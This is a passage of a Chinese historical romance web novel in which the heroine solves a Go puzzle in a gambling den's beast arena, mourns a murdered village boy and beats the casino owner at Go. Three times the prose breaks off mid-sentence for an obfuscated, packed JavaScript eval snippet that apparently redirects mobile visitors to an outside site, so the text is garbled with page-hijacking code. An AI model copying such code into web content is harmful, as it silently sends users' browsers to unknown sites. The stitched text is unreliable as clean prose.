青砖大小形状皆相同,宛若一个个格子,若是仔细一瞧,便能发现一些青砖的接头处,有着明晰的印记,皆是由线条勾勒而出的圆圈,只是有的圆圈空心,有的实心,放眼望去,就好像是—— “棋盘!”沈绾惊呼出声。 谢翊颔首:“阿鸾果真冰雪聪明。” “我料想这里的老板也不想闹出事,才暗地放出生门。”谢翊解释。 “生门?” “我多年前曾听人说起过这家赌场,这里的金老板是个棋痴,平生除了经营生意,都将大把钱财用来寻找棋谱和弈棋之人上,就连这斗兽场的地砖,也被布置成他多年前偶然寻得的一副棋局。” 谢翊警惕望向四周,迅速解释:“耶齐雷不懂这些,正好让他钻了空子。眼前这副棋局精妙,若是你能解开,地面的机关便会启动,将这些猛兽全部拦截下。” 顿了顿,认真望向沈绾:“我会尽力将这些大虫引开,帮你拖延时间,你去解这局棋。 我相信,你定能解开!” 26. 第二十六章 弈千秋 谢翊的眼神坚定又热烈,带着鼓舞人心的力量。 沈绾紧了紧手心,点头应下:“好!” 她的信心不止来自谢翊的信任,更来自多年内宫学堂的学习。父皇膝下子女不多,可对她们的功课要求严格,一向都是命最好的学士鸿儒来教习。 她的棋艺,曾习授于当朝圣手,虽非精湛,但解当前棋局尚可一试。 “三爷,这回你押谁?”看台上又议论起来。 三爷摩挲着下巴,眼底射出精光,“三人五兽,这种场面还是头一回见,既然当朝新贵在此,咱们怎么着也得给个面子。” 说着,掏出一锭金子押到沈绾处。 一旁赌客也跟着纷纷押注,此刻在他们眼里,什么勋贵名将,都不过是赌场上的一环,供众人寻着刺激。 谢翊用袖臂抹去剑刃血迹,握着剑柄在手中转了圈,轻飘飘挽了个剑花,刃面闪过寒光,五只大虫随即被吸引。 沈绾趁机绕到一侧空地,仔细琢磨起眼前棋局。 按场中黑白棋子布置,显然下一子轮到白棋,可无论白子落到哪里,都无破局可能。 “这难道就是传说中的天元劫?”沈绾喃喃。 纵观全局,白子看似占优,实则险象丛生,黑子犹如潜龙在渊,随时可能一飞冲天。 沈绾沉吟片刻,脑中棋路如细密丝线层层展开,她几步走到一处,用匕首在地面刻下一道白圈,这是她落下的白子。 下一瞬,“棋盘”一角露出一枚实心圆,几乎截断白棋所有生路,这是黑子在乘胜追击。 看到棋子落下,沈绾脸色愈发凝重,握着匕首的手微微颤抖,这果然是破无可破的死局。 同样面色凝重的还有匿在暗处的金老板。 方才王府小厮突然来报,说是小世子突发高烧,耶齐雷虽在意场中二人,可他膝下就这么一个儿子,只好立即往回赶。 若非如此,他也不敢玩这么一手。 可看场中女子的架势,仿佛已入死局。 这是他多年前寻得的珍珑棋局,至今还无一人可破,看来这生门,他们是走不了了…… 莹白的额角渗出细密汗珠,沈绾感到一阵眩晕,蓦然回头,谢翊抬剑挡在身前,正竭力同五只大虫周旋。 猛兽攻势迅猛,谢翊有些吃力。 她必须在最短时间内解出这局棋,否则他们可能真要葬送在这。 思绪纷乱间,先前那道悠远浑厚的声音再次传来:“天元一子定乾坤,弃三隅而活中腹。” 脑中灵光一闪,她迅速往中间跑去,谢翊注意到动静飞身一跃,将大虫引到离她稍远的地方。 她拔出匕首在中间天元位刻下一子,刹那间,白棋如同星子连成一片,整盘棋竟然活了! 沈绾正出神,耳侧响起石块摩擦的隆隆声,青砖移动,五只铁笼自地面钻出,将五只大虫牢牢围住。 一时间,场中静得不闻人声,隐匿在暗处的金老板眼中闪过精光,视线如同楔子直直落在天元位置的白棋,久久不曾移动。 这般出人意料的场面让赌客们摸不着头脑,眼看大虫占据上风,可厮杀到一半,猛兽被关入笼,那这场赌局究竟如何判决胜负? 台上正骚动着,场中庄家高声道:“今日这场平局!” 客人们自知这场赌局的特殊性,场中站着位朝中重臣,谁也不敢乱发牢骚,连忙取回各自银子匆匆出了场。 少顷,场中人散了大半,庄家朝沈绾二人做了个礼敬的手势,“二位这边请。” 沈绾跟谢翊对视一眼,一同跟在庄家身后。 再次步入那间暗室,金老板正手提狼毫,在纸上勾画着什么。 “老板,他们来了。”庄家禀报后垂首退下。 金老板闻言,立即放下笔,朝谢翊二人深深拱手作揖,“大将军,草民无意冒犯,还请将军恕罪。” 谢翊冷睨了眼,沉声开口:“金老板既然是个生意人,就应该知道哪些生意该做,哪些生意不该做。” 听他话中有所指,金老板忙道:“将军明鉴,今晚实属意外,若非巴泰王……”他欲言又止,窘迫道,“否则就是借草民十个胆,也不敢这般对您!” 谢翊哂笑,自己言下之意本想提醒他不该做囚人斗兽的生意,可谁知他根本没往上想,只一心为今晚的“无奈之举”开脱,生怕得罪了他这位权贵。 见谢翊不语,金老板以为他怒气未消,搓了搓手,又提起方才的棋局,“将军见谅,这猛兽出笼,一时半刻自是难以回笼,所以草民才想出这个法子,没想到将军身边果真人才辈出……” 狭长的眼角微微上挑,充满深思的目光落向沈绾,“我这棋局布了将近二十年,还是头一回有人在这么短的时间内破解,这位姑娘的棋艺着实高超,敢问师从何处?” “我一介平民,哪里学过什么棋艺,不过是随手下的。”沈绾态度敷衍,心中竭力压着熊熊怒火,“倒是金老板,你摆下这么大的摊子,一不小心就会牵扯到人命,难道就不怕有一天朝廷怪罪下来?” 瘦长的脸颊微微抽动肌肉,露出一抹似笑非笑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709462|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,“姑娘有所不知,我这间铺子自前朝大胤起,就已经得了朝廷默许,多少皇亲国戚都是我这的常客。 方才让二位身临险境,是草民无奈之举。记得这样的场子还是武炀帝在位时定下的,只不过当时兽奴的身份不同罢了……” 金老板虽说的隐晦,可沈绾还是立即意识到,凭当初父皇的手段,那时的兽奴多半是拓摩人。 金老板清了清嗓,谄媚一笑:“当然了,如今新朝开泰、万象更新,当今皇上圣泽绵长,有他的福泽庇佑,草民这生意想必也不会差到哪去。” 金老板面上虽笑着,可笑意却未达眼底,后半句简直是挑明了自己的有恃无恐——连皇帝的亲弟弟都牵扯到这里的生意,朝廷又能拿他怎么样? 沈绾感到心头堵得厉害,原来一切的源头竟始自父皇。 当初胤人视拓摩为蝼蚁,肆意践踏凌辱,如今拓摩入主中原,便将曾经的困兽之斗悉数奉还。 昨日之景,今日重现,杀戮依旧,不过是换了一批看客与囚徒。 “金老板,你未免太乐观了些。”谢翊将沈绾小手握进手里,冷声道,“本将军今晚险些丧命,这事若是传到圣上耳朵里,你以为你真能独善其身吗?” 锐利的眼神扫过,似乎没有一丝温度,“我若铁了心与耶齐雷一较高下,未必没有胜算。” 谢翊周身的气场太过威慑,金老板旋即变了脸色,撩起袍子跪下,“将军恕罪,将军恕罪……小人真的是不得已,绝非有意冒犯,若是将军真要怪罪,小人万死难辞其咎!” 额头在地上砰砰磕出几道响,谢翊不耐烦皱了皱眉,他懒得与下面这些喽啰掰扯。 既然幕后黑手是耶齐雷,又三番两次打沈绾的主意,那他绝不会手软! 管他什么皇亲国戚,他收拾定了! “今晚之事本将军暂且不计较,可我有一个要求。”谢翊沉声,带着不容拒绝的力量。 金老板忙道:“将军尽管开口。” “那个孩子,我要带走。” 沈绾虽不清楚谢翊是如何知道李二柱,可当他们把人带出来时,她心里还是宽慰不少。 “二位哥哥姐姐,我给你们磕头了!”少年捂着包扎好的手臂,诚恳跪地。 “不用这样。”沈绾忙将人扶起,安慰道:“我与你爷爷相识也算有缘,你快些回家吧,你爷爷这些天一直很担心你。” 少年抹了抹眼角,重重点头,“哥哥姐姐,你们都是好人,等我回去见了爷爷,改日一定登门拜访,答谢救命之恩。” 27. 第二十七章 哀民艰 当晚,沈绾自是没逃过一顿“纠缠”。 刚一进门,大掌从身后将她拥住,将她抵在门后一顿狂亲,暴风骤雨般的吻落在脸颊耳侧,勾起一簇火苗。 沈绾发现谢翊最近特别爱吻她,初时只是浅尝辄止,可渐渐地就变了味,吮得她嘴巴生疼。 “唔……”沈绾别开脸,努力找回呼吸。 “阿鸾,”谢翊捏过她的下巴,眸底是化不开的浓墨,“今晚在斗兽场,若我真的因此丧命,你会难过吗?” 沈绾颤了颤羽睫,“将军怎么说这个?” “回答我。”谢翊用鼻尖蹭了蹭她的,温热气息喷在脸侧,酥麻一片。 “会、会难过……”沈绾被他闹得无奈,下意识回答。 “真的?”黑眸倏尔一亮,唇边浅浅晕开笑意。 谢翊将脸埋在她颈侧,将人拥得更紧。 既然她会因他的死而难过,是不是意味着,在她心底,不再像之前那么恨他? 沈绾不知他心中所想,只觉他这问题问得奇怪,可仔细一想,她自己竟也一时找不出答案。 如果他真的死了,她会难过吗? 若是之前,她多半不会,国仇家恨在前,背叛折辱在后,她怎会对蛮夷有恻隐之心? 可经历了这么多,越往前走,越发觉得一些事情并非表面如此,她对谢翊的感情也越发复杂,即便带着滔天恨意,却始终改变不了什么。 她素来自诩清醒,可如今也必须承认,谢翊于她,的确是个特别的存在。 至少现在,她还需要他,没有人不会因为失去一把好刀而难过。 她也如此。 当晚,谢翊不再继续闹她,只是睡前抱着她亲亲蹭蹭了一会,便安静睡去。 ** 次日,沈绾早早赶去当值,走在半路,忽见一辆辆铁皮车驶过街道。因是官差押解,行人纷纷避让。 沈绾自小鼻子灵,车子封闭性再好,她还是隐约闻出里面的味道。 一打听,竟是当今皇后有了身孕,皇帝耶齐格要遵拓摩仪式,于三日后举行盛典,这些东西,正是用来做烟花爆竹之用。 沈绾匆匆瞥了眼,没敢耽搁,绕过车流直奔御马司。到胡监官那按时应了卯,仍没错过他几记白眼,可沈绾压根没放在心上,只管去做事。 刚到马厩,相熟的小马官捧着草料走过来:“外面有人找你。” 沈绾觉得奇怪,“是谁?” “新来的草料贩子,刚向我打听这有没有位姓沈的姑娘,”小官挠挠头,憨憨一笑,“我一琢磨,咱们这的姑娘可不就你一位。” 沈绾日常虽是马奴装扮,可她并未刻意隐瞒,日子一久,大家自然都清楚她的女子身份。 她边放下手中活计,边道:“我去看看。” 自从李老汉一家出去避风头,弃了这草料生意,御马司自然要找别家,这回接活的是位中年汉子,他一身粗布短衣,大剌剌蹲坐在路边。 眼下虽是初春,可寒风依旧料峭,沈绾搓了搓手,在对方面前站定,“是你找我?” 汉子抬起黝黑的面庞,警惕打量沈绾一眼,方才从怀里掏出一张素帕,“我来还东西。” 沈绾接过,发现正是自己昨晚给李二柱包扎用的帕子,怎么会到一个陌生人的手里? 见沈绾狐疑瞧着自己,汉子拍拍身后尘土,站起身,“李老汉让我交给你,他说欠人家的东西总归要还。” 沈绾心存疑虑,“你认识李老伯?他怎么样?” 昨晚二柱既然回了家,祖孙二人为了避风头应该会躲一阵子,没必要这么快就让人把帕子还回来。 汉子绷着脸,闷闷点头,“咱们一个庄的,他家里出了事,没法过来。” 沈绾蹙眉:“出事?” 汉子乜了眼身后侧门,揣着手别过脸,沉声道:“你们这里都是些群豺狼虎豹,一旦沾上了不起是个死,我一个寡汉条子没什么怕,可这些人死活都不放过一个孩子,真是全然没了心肝!” “你说清楚,什么不放过一个孩子?”沈绾上前几步,死死盯着眼前人,“李老伯的孙子昨晚不是已经回家了吗?” “哼,”黑脸汉子鼻子喷出热气,忿忿道,“是回家了,只是走的是黄泉道,回的是阎王老家。” 见沈绾一脸茫然,汉子吐了口气,解释道:“我们村谁都知道李老汉家的孙子前些日子莫名失踪了,直到昨晚,他兴冲冲在村口等着,说是今晚接孙子回家,一开始大伙都没放在心上。 直到后半夜,二柱那孩子竟然真的回来了,可刚走村口,不知从哪冒出一伙歹人,提刀就往爷孙身上砍,二柱一心保护爷爷,被砍了十几刀,身上血淋淋的。我昨晚正巧路过,拖着他们就跑,可二柱那孩子刚走几步就咽了气,手心里还死死攥着这条帕子,闭眼前嘴里一个劲道歉,说自己不该让爷爷担心……” 黑脸汉子喉间有些哽咽,抹了把脸,“那伙人见孩子断了气,这才收手跑了。李老汉当时就愣住了,抱着孙子的尸体在村口就这么坐了一夜,凭别人说什么也不肯动,就跟丢了魂似的。今早还是村长出面,大伙儿凑了些银子,才帮他把这丧事办了……” 晨间阳光透过树枝洒下,明明是春日里,可沈绾却觉四肢僵冷发硬,浑身血液仿佛没了温度,只剩下脑袋一缕残存意识在迟钝运转。 死了?那孩子昨晚就这么死了? 那群歹人是谁?他们为什么要这么做? 昨晚谢翊分明派了亲信送二柱回家,既然到了村口那伙人才出现,说明只有两种可能:一是昨晚的亲信早在二柱回村前就已经离开,根本没有碰上敌人;二是他一路护送,甚至跟对方交手,结果被人干掉。 谢翊手下的人都是百里挑一的好手,他们办事自然不会马虎,那情况就只能是后者。 能打败高手的唯有更高的对手,派出这样的人去刺杀一对籍籍无名的爷孙,唯有一个原因——报复! 他们背后的主子在报复昨晚她和谢翊的脱逃。 杀了那孩子,不过是给她们一个下马威! 这背后的凶手,显而易见! 沈绾吸了口气,迅速调整好状态,紧了紧手心帕子,“你能不能,带我去李老伯家看看?” ** 饶是沈绾已经做好心理准备,可入眼的白幡还是刺得她眼底一痛。 李老汉本就花白的头发又添了一层雪色,整个人佝偻着,脊背弯折的弧度像被暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739352|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨打蔫的麦穗,沉甸甸垂向地面。 沈绾蹲下身,在旁静静烧着纸钱。 烟气伴着飞出的火星四溅,令人眼底酸疼得厉害。 不知过了多久,李老汉抬起浑浊的眼珠,费力翕动嘴巴,好半天才发出声:“姑娘,你来了……” “李老伯,节哀……”话音堵在喉头,那里似有什么东西哽着,沈绾无法继续说下去。 她既然无法消解李老汉的痛苦,便没有权利劝他节哀。 “姑娘,你说那些人为什么要赶尽杀绝?”李老汉哑着声,带着无尽悲凉,“他们要银子,我可以慢慢还,可我孙儿他……他只有十三岁啊……还是个娃娃……” 一滴浊泪打在沈绾手背,带着滚烫的温度,她顿觉挫败无力,“对不起……” 黑脸汉子抱臂站在一旁:“这四周村里丢失的孩子不少,你既然能将李家孙子救出来,肯定知道他们被关在哪里。我们村里别的没有,一腔热血的正义汉子还是有的,若是方便,劳您告诉个地儿,我们自己想法子救人。” 沈绾蓦地想起在地下斗兽场看到的那些孩子,长睫一颤,“村里还有别人家丢了孩子?” 李老汉叹了口气,“我们这村子,做草料生意的不多,多半都是农户,周边其他村子也大都以种地为生。可自新朝开始,御马司的官差突然说要扩大草场,用来饲育更多马种,便强行将大伙的农田收去变作官田,甚至大肆征收草场银。我们这些庄稼人,哪能交出那些银子,索性越欠越多,还不上,他们就上门抓人……” 沈绾这才明白,原来这些官差竟以公谋私,强占田地不算,还做着贩卖人口的勾当。 这背后若没有大人物撑腰,他们怎敢做到这种地步! 于今多少闲狼虎,无益于民尽食羊。 “姑娘,”李老汉望着前方跳动的火苗,哑声开口,“我知你心肠好,身份也不一般,当初你肯答应救我孙儿,我就知道你同那些人不一样。二柱的事不是你的错,你不用向老汉道歉。可剩下那些孩子,他们都是有爹有娘的人,不该落得和二柱一样的下场。” “没错,”黑脸大汉道,“你只需告诉我们个地址,我们带人闯进去,决计不会连累你!” 话音刚落,他身后站着的几名汉子挥臂跟着附和,“没错,我们不怕死,只要能救回孩子,干什么都成!” 沈绾这才意识到李家门外竟站陆续来了不少人,原来都是为了失踪孩子的事。 他们个个脸上或悲戚、或愤慨、或决绝,那种底层百姓身上义无反顾的力量,让人难以抗拒。 “诸位稍安勿躁,”沈绾站起身,朗声安抚,“诸位也知道,这背后牵扯的势力不小,咱们若是强闯,怕是门还没摸到,就会被官府抓起来,他们想碾死我们,就跟碾死一只蚂蚁一样简单。” “只要能救孩子,我们不怕死!”有人高声道。 “不怕死不代表要去送死,”沈绾定定望向众人,目光如炬,“诸位若是信得过,此事交给我,我们从长计议。” 她声音虽不大,却掷地有声,“诸位放心,我今日既然答应,便一定会做到。不为别的,就为了李老汉一家的冤屈,为了诸位身上的枷锁,为了这不公的世道!” 28. 第二十八章 行路难 西盘街的赌场热闹依旧,大红灯笼高高挂着,赌客们摩肩接踵,嘴里高声吆喝,似乎全然忘记了昨晚那场别开生面的赌局。 沈绾由铺里伙计一路引着,路过一处赌桌时,正瞧见那位白面“三爷”气急败坏趴在赌桌上,不知嚷着什么。 走到一处静室,金老板早已在里间等候。 今日他身着一袭金边暗纹天青锦袍,乍看虽低调,可边角细节处皆藏着心思。只是他的身形过于瘦削,再精美的衣服穿在他身上,都好像挂在一根伶仃木棍,怎么也撑不起来。 沈绾望着面前茶香袅袅的壶盏,轻轻叩着桌角,“金老板好品味,这雪顶含翠乃是西域贡茶,想不到在您这儿能喝到。” 金老板撇去茶沫,给沈绾沏了盏,青绿的茶水流进杯盏,香气四溢。 “这是我一胡商朋友送的年礼,姑娘若觉着好,我便送姑娘一罐。” “无功不受禄,”沈绾用玉指轻轻摩挲着杯盏,“小女子今日不请自来,本就冒昧,怎敢再讨金老板的好茶?” 金老板捏着茶壶,给自己沏了盏,先是闻了闻茶香,继而不疾不徐轻啜了口。 “姑娘今日前来既不是为了喝茶,那是有事相谈?” “金老板果真是聪明人,”沈绾清浅一笑,“之前听闻您酷爱弈棋,小女子不才,对弈棋之道颇有心得,今日正好得了空,想同金老板讨教几招,不知可否赏脸?” “哦?”狭长的眼角微微眯起,“姑娘今日来,只是同我下棋?” “怎么,您以为如何?” 金老板暗暗打量了沈绾半晌,忽而笑道:“姑娘当日破了我的棋局,可见棋艺非同一般,既是弈棋,那便要请位棋证,以示公正。” 金老板吩咐道:“来人,去请先生来。” 伙计应声而去,不多时,身后引进一位青布道袍的老者。 老者须发皆白,却不显苍老之态,面容清癯、红润有光,一双眼睛炯炯有神,眉目间似蕴含着千年霜雪,却又透出一丝超然物外的平和。 沈绾见他在一旁落座,举止投足间竟透出几分仙风道骨。 “姑娘,请吧。”金老板命人取来棋盘,抬手提醒。 果真是一掷千金的巨商,这棋盘用的竟是金丝楠木,边缘雕有云纹山水,阳光下,木纹如金丝流动,奢华尽显。而棋子则是用墨玉及和田玉石所制,落盘时,玉石相击,清越风雅。 沈绾回神抬眸:“金老板,你这既是赌场,不如咱们这局棋也打个赌,如何?” “哦?不知姑娘想打什么赌?” “金老板家财万贯,小女子身无长物,想来没什么东西能入的了您的法眼。”沈绾顿了顿,秀眉微动,“不如这样,咱们以三局为定,若是您赢了其中两局,我便自此做您的侍棋婢女,供您差遣;可若是我赢了……” 室中静了静,金老板见她久久不再继续说下去,追问:“那该如何?” 她轻飘飘落下一句:“我向来没有为难人的习惯,只是想请您帮忙取样东西。” “什么东西?” “唔,”沈绾敲了敲棋盒,“我可没有必胜的把握,等赢了再说。” 金老板收回犀利的目光,沉吟半晌,笑道:“姑娘这赌约立的着实有趣,您如今在御马司当差,吃的是皇粮,即便输了赌局,如何能供我差遣? 再说你要的东西,若是非人力所及或是触了王法,我一介商人,如何能履约?” 沈绾抵了抵脑袋,状作无奈,“金老板果真谨慎,我不过随口一说,竟被你寻出这么大破绽。” 叹了口气,再抬眼,眸底闪出一抹恣傲,“不过没关系,今日你也赢不了。” 真是好大的口气! 脸颊肌肉微微一抽,金老板变了脸色。 他不再多言,抬手打开棋盒,“请——” 管她葫芦里卖什么药,今日他倒要看看,眼前这个小女娘能有多大能耐。 沈绾执白先行,棋风飘逸凌厉,落子看似随意,可却暗藏机锋。金老板又是个棋痴,一旦开局便全神投入其中。 沈绾前半场攻势猛烈,后半场乘胜追击,金老板又善迂回,静观其变之下竟不慎失了先机。不多时,一局棋已近尾声。 “黑棋投子,此局终。”老者面上无波,尽职判了胜负。 金老板摩挲着下颌,眉头微沉,“姑娘好棋艺。” “承让。”沈绾大方回答。 少顷,下一局开启。 这次金老板吸取上盘教训,防守之余寻其漏洞,沈绾虽灵活进攻,可似乎疏于留后手,金老板这手棋下的又实在老辣,她方渐渐觉出他的棋艺老道。 白棋挣扎几下后,竟还是被逼入绝境。 “此局,黑胜三子。” “姑娘年轻,有时还是记得给自己留条后路。”金老板微微舒展开眼角纹路。 “多谢赐教。”沈绾不甚在意,扬了扬秀眉,“还剩一局,金老板,请手下留情。” 金老板颇为沉稳地拈起棋子,没有答话。 终局开始,可沈绾这回完全转变了棋路,时进时退,时急时缓,乍看之下,简直有些不得章法。 “有个问题,一直想问金老板。”沈绾边落子边悠悠开口,整个人看起来比前两盘放松许多,也不知是太过胸有成竹,还是破罐破摔,故意乱下。 “姑娘请说。”金老板紧盯棋盘,没有松懈一点。 “若是有一天你没了这个生意场,是否想过做别的买卖?” 一子落下,金老板头也未抬,“姑娘何出此言?” “随口问问。”沈绾紧接落下一子。 盘中局势在不动声色间竟有了变动,金老板不由皱起眉头。 “正如方才所说,凡事要留有后路。”金老板望着眼前棋局,沉思半晌,终于提子落下,“我家自祖上起便都是生意人,大大小小的买卖做过不少,若是没了这里的生意,鄙人的退路可远比姑娘想像中多得多。” 沈绾捏起一子,在指尖盘了片刻,随着话音落下,“如此,甚好。” 霎时间,原本错综纷乱的白棋勾勒出清晰路径,完全逆转了全局。 出人意料的棋路落入眼中,金老板顿时僵坐在原地。 他活了几十年,还是头一回见这种下法,大胆又绝妙! 直到老者浑厚的声音响起,他才如梦初醒,“此局,白棋,胜半子。” 半子?他竟是输了半子? 原本胜券在握的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745644|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局势竟在微妙间转了风口,简直不可思议。 “姑娘……”金老板向来爱棋如痴,对待擅弈棋之人更是与旁人不同,这会也是不由赞叹,“姑娘棋艺精妙,在下认输了。” “承让。”沈绾颔首为礼。 金老板舒了口气,朝后仰了仰,闭目凝神道:“说说吧,姑娘想要什么?” 沈绾迟疑片刻,微微侧了侧头,金老板明白她的意思,遂抬手示意,“送先生回去。” 伙计应声进屋,将老者送出房间,擦身而过之际,沈绾隐约感到老者的目光在她身上停留,只一瞬,不着痕迹。 “金老板为人爽快,我也不兜圈子。”沈绾直起身,压低声音直视对方:“我要的东西并不会让您为难,您也自然办得到。” “哦?” 沈绾眨了眨水灵灵的眸子,笑得云淡风轻:“这东西,如今京中正有现成。” ** 出了静室,外间一应赌桌仍旧热火朝天。 沈绾压低帽檐,从一侧穿过,刚欲出铺门,忽见那位三爷被人拖出了赌桌。 “抱歉三爷,这两日您一共赊了一千四百五十两银子,今儿个实在没法再欠了,既然没带够银子,还请您改日再来。” 伙计面上虽客气,可眼角眉梢还是透出些许不耐烦。 “势利东西!不知道三爷我是什么人?能欠了你们银子?我再去来一局,只一局,就能回本!” “您也知道我们这的规矩,寻常人到这哪有欠债的道理?正因您是我们的常客,才赊了这些银子给您。”伙计皱眉,“可您这越输越多……莫要为难小的。” 原来他先前那只“黑将军”斗鸡,前些日子遇到高手,竟一战不起,输了不少银子。赌桌之上,这些人一旦输红了眼,那真是九头牛都拉不回来,越输越赌,越赌越输,欠下的银子如滚雪球般,一发不可收拾…… “哎,你们——” 铺里的伙计身手利索,左右两边一架,便将人“送”出了门。 第一次被扫地出门,他脸上多少有些挂不住,忿忿甩袖,嘴里不住啐骂:“呸,狗东西!” 正欲转身,忽被人从身后叫住:“三爷,留步。” 沈绾一身素衣,因身着男装,他一时只觉眼熟,可又想不起自己在哪见过,“你是……” 沈绾拱了拱手,“小弟是这的常客,与您有过两面之缘,您贵人多忘事,也许不记得了。” 沈绾亲和地笑了笑:“刚才见您从里面出来,可是手头有些拮据?小弟这正好有三千两银票,想和三爷交个朋友。” 三爷狐疑地打量了眼沈绾,不知对方什么来头,但眼前的银票诱惑力实在太大,他方才在赌桌上根本没尽兴,自是不愿这么回去。 既是别人送上门的,他没有不收的道理。 “好说,好说。”乐呵呵接过银票,白面上泛起笑纹,“兄台家住何处,怎么称呼?” “小弟姓谢,就是这京都人氏,家中经营药铺生意。”沈绾故作踌躇,“今日与三爷一见如故,有件不情之请想麻烦三爷,不知三爷能否帮忙?” 三爷瞥了眼银票,瞬间打消不少顾虑,看来对方是有求于自己,果断将银票揣进怀里,“说来听听。” 29. [锁] [此章节已锁] 沈绾回到将军府时,天色已暗。 谢翊府中仆役本就不多,一入夜就更显阒静。 晚间落了场小雨,添了几分湿寒,街道上已渐无人迹,沈绾穿过幽静街巷,刚走到将军府大门,就见门前灯笼高照,再往里走,前庭烛火未熄,四处通明。 自从她去了御马司,谢翊每晚都着人点灯。 她不许他派人接送,他就只好命人暗中保护,为她点亮回家的路。 “姑娘回来了。”春桃依旧如往日出来迎接,“要不要奴婢去准备宵夜?” “不必,已经吃过了。”沈绾将她拉住,“将军回来了吗?” “还没呢,下午说是宫里召见,算算时辰,这会儿也该回来了。” “那等将军回来,你告知我一声……” 沈绾刚要迈步,清越男音自身后传来,“怎么,找我?” “将军。”沈绾闻声回头,谢翊正好从马车下来,悠悠跨进门槛。 他个高步子大,自夜色中踏来,几步走到沈绾跟前,压低声音,嘴角噙笑,“想我了?” 低沉的尾音携着几分暧昧,春桃抿唇低头,识趣退下。 经过这些日子,沈绾早已习惯男人的轻浮打趣,坦然应道:“是啊。” 她凑上前,眉眼盈盈,吐气如兰,“正如将军所说,一日不见,如隔三秋,很想你。” 后三个字被她咬的又轻又柔,墨石般的眸子倏尔一暗,抬手覆上玉腰,往怀里一带,“怎么个想法?” 水盈的眼珠转了转,轻吟道:“晓看天色暮看云,行也思君,坐也思君。” 谢翊哪经得起她这般撩拨,喉结微动,正欲俯身吻下,却被沈绾推了推,“回屋再说。” 谢翊低笑,打横将她抱起,房门打开后又立即关起,窗影上不多时映出两道纠缠身影。 男人吻得痴缠,和沈绾在一起这么久,他不止一次动过更深的心思,可沈绾总是若即若离,那些话术也时真时假,他只好由着她敷衍。 可日子久了,心爱女子在怀,他正值血气方刚,难免会忍不住。 沈绾被吻得眼角潮红,面若云霞,灼热的唇从颈侧沿至锁骨,诉说着无尽缠绵。 倏地,她瞪大了眼。 男人的手掌温热有力,带着酥酥麻麻的电流,在绵软处点起簇簇火苗。 “你……”沈绾本欲说话,可檀口刚一张开,就被男人轻易攫住。 掌下力道随着越发激烈的吻开始失控,谢翊唇边溢出一声满足的喟叹。 每次抱她,他总有些控制不住。 沈绾轻而易举发现他眸底欲色,双手环住男人脖子,宛转一笑,“将军曾说过,无需我费什么心思,只要我想要的,你都会帮我,此话可还作数?” 谢翊:“自然。” “那我要一支身手极好的暗卫。”沈绾毫不遮掩,暴露出真实目的。 “多少人?” “十人左右。” “好。” 谢翊应得干脆,连眼皮也未眨一下。 沈绾眸光一动,“你就不问问我要做什么?” “你想说吗?”谢翊目光沉沉,抬起头凝视着她。 沈绾瞧了他片刻,自嘲地勾了勾唇,“看来将军已经知道了。” 是啊,他派出的人一旦没了消息,他不可能猜不到缘由。 “那日后半夜我便得到了消息,”男人声音沙哑,“他这是杀鸡儆猴。” “可我偏偏,不当那只猴。”樱唇吐出的气息擦过耳廓,吹得人心底发痒,可眼前女子的眸光却冷得吓人。 “今日只是一个李二柱,里面还有许多王二柱、张二柱……那些孩子的命不该被肆意践踏!”沈绾凝望向他,“谢翊,你会帮我的吧。” 室中默了半晌,“你想怎么做?”谢翊抿了抿唇,抑住粗喘。 其实他已经有了计划,原本不打算轻举妄动,可既然沈绾要动,那他就只好由着她。 只要她高兴,反正有自己给她兜底。 “这出好戏,等到时候,将军自然就知道了。”水眸轻眨,灵动又狡黠。 “好。”谢翊勾了勾唇,逸出一声低叹,作势又要吻下,沈绾却先他一步,游鱼般逃出他的怀抱。 “?” 谢翊感到怀里一空,不由扶额,她这是用完他就跑? “时候不早了,将军该歇息了。”沈绾面不改色心不跳,摆出一副苦口婆心的样子,“纵欲伤身。” …… 他现在这个样子,真憋过去才真伤身! 长臂一揽,沈绾躲闪不过,轻易被男人抓住,纤柔的后背紧贴男人胸膛,严丝合缝。 “不是说想我?”滚烫的气息打在耳侧,铺天盖地独属于他的味道将她牢牢圈住。 “小骗子,惯会哄人。” 身后不知碰到哪里,沈绾猛地一颤。 他……他这是…… “怕了?”薄唇扫过耳唇,激起阵阵电流。 “没有。”沈绾强作镇定。 “那躲什么?” 沈绾支吾两下,愣是没说出个所以然。虽说她当初早做了心理准备,可谢翊迟迟没有动她,这么久以来,最多不过是亲亲抱抱,她也就渐渐忘了这回事。 现在男人的渴求赤裸裸摆在她面前,让她一时有些手足无措。 她一直认为,做这种事,起码讲究两情相悦,他们之间初时不过是交易利用,现在又谈得上几份真感情? 